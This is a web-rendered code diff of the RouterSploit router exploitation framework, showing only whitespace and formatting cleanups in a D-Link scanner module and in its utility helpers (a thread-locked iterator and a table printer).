port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
def run(self): def run(self):
exploits = []
rootpath = 'routersploit/modules/' rootpath = 'routersploit/modules/'
path = 'exploits/dlink/' path = 'exploits/dlink/'
# only py exploit files # only py exploit files
modules = [f.replace(".py", "") for f in listdir(rootpath+path) if isfile(join(rootpath+path, f)) and f.endswith(".py") and f != "__init__.py"] modules = [f.replace(".py", "") for f in listdir(rootpath + path) if isfile(join(rootpath + path, f)) and f.endswith(".py") and f != "__init__.py"]
vulns = [] vulns = []
for module_name in modules: for module_name in modules:
...@@ -58,4 +63,3 @@ class Exploit(exploits.Exploit): ...@@ -58,4 +63,3 @@ class Exploit(exploits.Exploit):
def check(self): def check(self):
print_error("Check method is not available") print_error("Check method is not available")
...@@ -122,7 +122,8 @@ class LockedIterator(object): ...@@ -122,7 +122,8 @@ class LockedIterator(object):
self.lock = threading.Lock() self.lock = threading.Lock()
self.it = it.__iter__() self.it = it.__iter__()
def __iter__(self): return self def __iter__(self):
return self
def next(self): def next(self):
self.lock.acquire() self.lock.acquire()
...@@ -170,7 +171,7 @@ def print_table(headers, *args, **kwargs): ...@@ -170,7 +171,7 @@ def print_table(headers, *args, **kwargs):
headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill))) headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill)))
headers_separator_line = "".join(( headers_separator_line = "".join((
headers_separator_line, headers_separator_line,
'{:<{}}'.format(header_separator*len(header), current_line_fill) '{:<{}}'.format(header_separator * len(header), current_line_fill)
)) ))
print() print()
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment